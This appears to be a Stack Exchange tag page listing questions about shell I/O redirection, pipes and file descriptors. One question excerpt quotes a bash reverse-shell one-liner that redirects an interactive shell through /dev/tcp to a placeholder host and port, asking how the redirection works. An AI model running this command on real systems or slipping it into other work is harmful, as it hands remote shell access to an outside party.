io redirection is the process of changing where the output and input of a program originate

learn more… | top users | synonyms (1)

3
votes
2answers
59 views

can not access standard output from a command

I'm using this command format: cmd0 > >(cmd1) 2> >(cmd2) Cmd2 needs to echo data back to zenity as it processes some data, but zenity never hears the echos. It seems the echos are lost ...
4
votes
3answers
74 views

redirecting script variable to log file without losing stderr

When setting "set -x" inside bash script, or if you run your script with bash -x, you will get all the arguments printed to the screen together with the stdout. Is it possible to have stderr and ...
0
votes
1answer
102 views

Redirect all output with prompt to a file

What is the shortest way to redirect: $PROMPT, last executed command, stdout and stderr into single file? Of course, we might use &> to redirect stdout and stderr into single file and then add ...
11
votes
4answers
385 views

Program output redirection

When trying to redirect program output with the "some number greater than" syntax (eg foo 2> myfile), what are the possible numbers here and what do they represent? I believe 1 is /dev/stdout, 2 ...
8
votes
3answers
476 views

Command redirection to multiple files: command >file1 >file2 [duplicate]

I have this command: cat somefile >file1 >file2 After I executed this command I can't figure out why file1 has nothing in it. It should have the output of the first file (somefile), but ...
4
votes
2answers
144 views

Bash : understanding I/O redirection

I was searching a way to get a reverse shell in bash, when I found this: bash -i > /dev/tcp/HOST/PORT 0<&1 2>&1 As I understand, stdout and stderr are sent through the ...
0
votes
1answer
73 views

Redirect command output to /dev/null

How can we redirect output of command to /dev/null? I tried it with: command > /dev/null But it didn't work.
2
votes
1answer
218 views

How to output files to another directory (Poppler - pdftotext)

I have a directory with a very large number of PDFs that I am converting to *.txt documents with Poppler pdftotext. I have the following command that does the conversion of all the files. for f in ...
0
votes
0answers
101 views

Stop stdout log being clipped (by heroku-local)

I run heroku local with the Procfile: web: start-nginx gunicorn -c gunicorn.conf.py app:app start-nginx does some environment setup, and then ends with: { nginx --some-params & $@ ; } the ...
0
votes
1answer
61 views

Why is the redirection of loop output dependent on the filename?

I have two files: a.csv and b.csv: echo $'a_header\na1' > a.csv echo $'b_header\nb1' > b.csv Now I want to remove the first line from each, and concatenate them. for file in `ls *.csv`; do ...
3
votes
1answer
75 views

Dash exec redirection error

This: set -x rm -f p; mkfifo p exec 99<>p succeeds in bash but fails ("99 not found") in dash. How do I get it to work in dash?
2
votes
2answers
51 views

Shellcheck complains that I should not to read and write the same file in the same pipeline

ShellCheck show the following error for this line of code: printf '%d' $(($(< "$1") + 1)) > "$1" Make sure not to read and write the same file in the same pipeline Is this really a problem? ...
0
votes
1answer
44 views

Is it ever possible for command redirection to HDD to fail?

I'm using Xubuntu 15.04, and sometimes have this really strange problem, originating from a XeLaTeX run. When using this typesetting system, the following system command is executed: uname -s > ...
20
votes
3answers
2k views

What does `<&-` do?

I copied a snippet of Bash to background an ssh command executed remotely: ssh user@remote <<CMD some process <&- >log 2>error & CMD What does <&- do? My guess is ...
0
votes
1answer
50 views

passing output of a program (samtools) to another program (bamToBed) fails

How should I pass output of one command to another program like this: samtools view -bf 0x2 p1163.novo.tier2.bam | bamToBed -i stdin | coverageBed -a stdin -b genes.bed But the stdin does not work ...
-1
votes
2answers
104 views

How do I Capture dd command output

I have a test script, which is used to estimate the filesize for a particular oracle export dumpfile. Content of the script is: mknod exp.pipe p dd if=exp.pipe of=/dev/null bs=1024 & exp ...
3
votes
2answers
40 views

Command substitution as target for I/O redirection

I was trying to have the output of a command as a target of redirection like this: echo .envrc >> $(git config --global core.excludesfile) But I get this error instead, where ...
0
votes
3answers
363 views

C++: How to redirect from a file to cin and display as if user typed the input

I have a simple C++ program that uses cin to read eight numbers, and I'm running it in a bash shell. When I run it in the terminal, it looks like this (the user types in the numbers 1-8): ./add8 ...
2
votes
2answers
24 views

Sub Shell Redirection Error With Variable ( while … ) $3 > $testdir/$testfile.log

My scripts executes the sub shell command along the lines of: ( while ..... ) $3>$testdir/$testfile.log I get the error: line 75: syntax error near unexpected token `$3' line 75: ` ) ...
0
votes
2answers
75 views

Printing on “standard out” and “standard error”

I'm puzzled over some terminology used in my homework: So, the way I understand the question is that I should print echo, cat, etc., which I would do like with the echo command, for example echo ...
0
votes
1answer
44 views

safe way to redirect some output using exec

I have a script that is rather "noisy". I've been asked to clean up the output so that most of the script's output goes to a log file, and the user just sees the start-up message, and the message when ...
1
vote
1answer
102 views

How to know if output is being redirected to a file? [duplicate]

I am working on displaying output like ls command (just ls, no options). And I have a working program using the system calls. But I experienced a strange behavior while testing as shown below. $ ls ...
1
vote
1answer
164 views

Can't redirect cut output

When I try to redirect the output of cut it always seems to be empty. If don't redirect it, the output shows in terminal as expected. This is true for OS X 10.10 and Linux 4.1.6. This works: ...
22
votes
3answers
729 views

What does 'exec {fd}</dev/watchdog' do in Bash

That is literal, {fd} isnt a placeholder. I have a script that does this, and does not source in anything, nor does it reference {fd} anywhere else. Is this valid bash? exec {fd}</dev/watchdog
0
votes
1answer
31 views

Having extra parameters in piping or redirection

I have two programs and I want to pipe them into each other but they take extra parameters: prog1 <inputfile> <outputfile> min max prog2 <inputfile> <outputfile> min max ...
26
votes
5answers
2k views

Why pipe to cat only to redirect? [duplicate]

I occasionally see things like: cat file | wc | cat > file2 Why do this? When will the results (or performance) differ (favourably) from simply: cat file | wc > file2
3
votes
1answer
241 views

Executing awk on each file found with find, then redirecting the result to a new filename

I am trying to take the results from find and then execute awk to print the first two columns. Then I want to redirect those results to a new file name for each file, using the existing file name with ...
4
votes
1answer
121 views

Capture output without redirection and leave it on terminal too

I need to capture output of a daemon that also includes a on-demand mode and behaves differently depending on if output goes to tty or not. Just redirecting stdout anywhere makes it go into logging ...
0
votes
1answer
124 views

Sort file “foo” and use redirection “>” to save output into the same “foo” file [duplicate]

i have a text file ~/foo: a b c a b c i use sort foo -u, and that works correctly. I can use redirection operator ">" to save output into other file (f.e.: sort foo -u > bar), but when i want to ...
4
votes
2answers
307 views

Linux init script what does 0<&- &> achieve

I looking into writing my own init.d scripts to control several services running on my Linux server. I came across an example online which contained: nohup $EXEC_SCRIPT 0<&- &> ...
1
vote
2answers
345 views

run command with sudo su in script and redirect stdin and stdout

I need to run command as another user and write to its stdin and read from its stdout. I can run command as another user only via opening new shell: sudo su anotheruser but with new opened shell i ...
5
votes
2answers
62 views

posix placement of stdin redirection (<in cmd vs cmd <in)

I always write stdin redirection after the command, because for me it's more natural to have first the command and then the redirections (if any): some-command < input-file > output-file For ...
4
votes
2answers
149 views

Capturing output/redirection of commands chained by &&

I have a series of commands a,b,c which I am chaining together with &&: a && b && c. I want to catch the output of all the commands to both stdout and stderr. a && b ...
6
votes
1answer
116 views

Extra output on input redirection

I have a folder with three files: $ ls a b c If I pipe the output of ls to wc, I get the right result: $ ls | wc -l 3 However, when I specify the input to wc as the output of ls, I get extra ...
4
votes
1answer
162 views

Pass BASH array to diff like file contents

I have two bash arrays, say: arr1=( 1 2 3 ) arr2=( 1 2 A ) and I want to compare them using diff. How could I pass the arrays as if they were the contents of a file? I tried a few variations, but ...
2
votes
1answer
59 views

Do not wait until the return for Shell redirection

I would like to redirect the output of a script (Python or any other kind) to a file. Easy to do with > or >>. But with these two the output seems to be written in the file only once the script ...
5
votes
3answers
783 views

Behaviour of “|” pipe in linux with “>” output redirection

I am executing command ls > a.txt | sort > b.txt This command is doing the below things : executing ls sorting it creating a.txt and storing sorted output to a.txt creating b.txt , but its ...
2
votes
1answer
47 views

Terminal - redirection of output to file is shortened

I am using command: ./cpp-generator > ~/log.log But when I open the log.log the file is shortened. It ends in the middle of a word. But if I run just: ./cpp-generator in terminal, the result ...
1
vote
0answers
266 views

Recording shell output for interactive commands

While looking into a shell redirection problem, I found a couple of answers that pointed me to the script command. As I understand it, script just records in- and output of the terminal, and allows me ...
2
votes
1answer
285 views

Continously writing terminal output to text file

I am running a small cli python app in terminal. It loops infinitely and outputs text to the terminal. I want to output the text to a file, and I can do that with the following command python [my cli ...
2
votes
1answer
267 views

What are the Linux shells that allow network traffic management (sending/receiving data to/from `/dev/tcp/host/port`) via redirectors?

Following this Bash tutorial, I have succeded in obtaining the code of a web page issuing simple commands by using this method: $ exec 3<>/dev/tcp/www.google.com/80 $ echo -e "GET / ...
16
votes
4answers
1k views

How can the standard input of one program be passed as an arg to another?

Let's say a program exists, which takes two arguments; input file and output file. What if I don't wish to save this output file to disk, but rather pass it straight to stdin of another program. Is ...
1
vote
2answers
391 views

How to while read line with a pipe

I am currently trying read a csv file with BASH. The 10th [$f10] value of the csv file must be greater then 0 for a given machine class and machine ID [m_class] and [m_id] (these are user defined) . ...
2
votes
1answer
156 views

I/O redirection shortcut doesn't work when at the end of a command line

I've been getting myself comfortable with I/O redirection. I've become aware of the &> shortcut for 2>&1. I believe it also works as >&. There may be a nuance to that of which I'm ...
0
votes
4answers
101 views

Excluding specific lines from being redirected [closed]

Suppose I am executing a script like this: /a/b/c/script.sh >> abc.log This means that all the contents/execution of script will be re-directed to abc.log. If I want a particular line inside ...
0
votes
1answer
88 views

Redirect stdin for multiple shell functions [closed]

I'm surprised nobody has asked this before - maybe I'm just that dumb? How to I force this script to do what I intended? #!/bin/bash function One() { IFS='' read -r -n1 CHAR echo "One: '$CHAR'" ...
0
votes
0answers
42 views

writefile() to file descriptor produces output with alignment issue

The command that produces weird output: $ vim -ec 'call writefile(["line1","line2"],"/proc/self/fd/9") | qall!' 9>&1 1>/dev/null 2>&1 line1 line2 $ Same command ...
0
votes
1answer
72 views

More succinct alternative to “lsof -p $(pidof postgres| sed -r 's/ /,/g')”

pidof returns a space separated list of pids. lsof -p requires a comma serparated one. This can be solved with sed via: lsof -p `pidof postgres| sed -r 's/ /,/g'` However, the extra pipe seems a ...
1
vote
0answers
237 views

extract text to csv file from output of reading multiple files into specific rows

I am trying to write a bash script to generate a csv file from text within multiple pdf documents. I have a script for converting pdf to text, but not for generating the csv file. Each text document ...
0
votes
1answer
135 views

Redirect all GnuPG output to /dev/null

I'm doing key generation in a sort of batch mode with GnuPG (don't ask why): echo -e 'addkey\n4\n2048\n120d\nsave' | gpg --command-fd 0 \ --edit-key $master_key_id >/dev/null 2>&1 I ...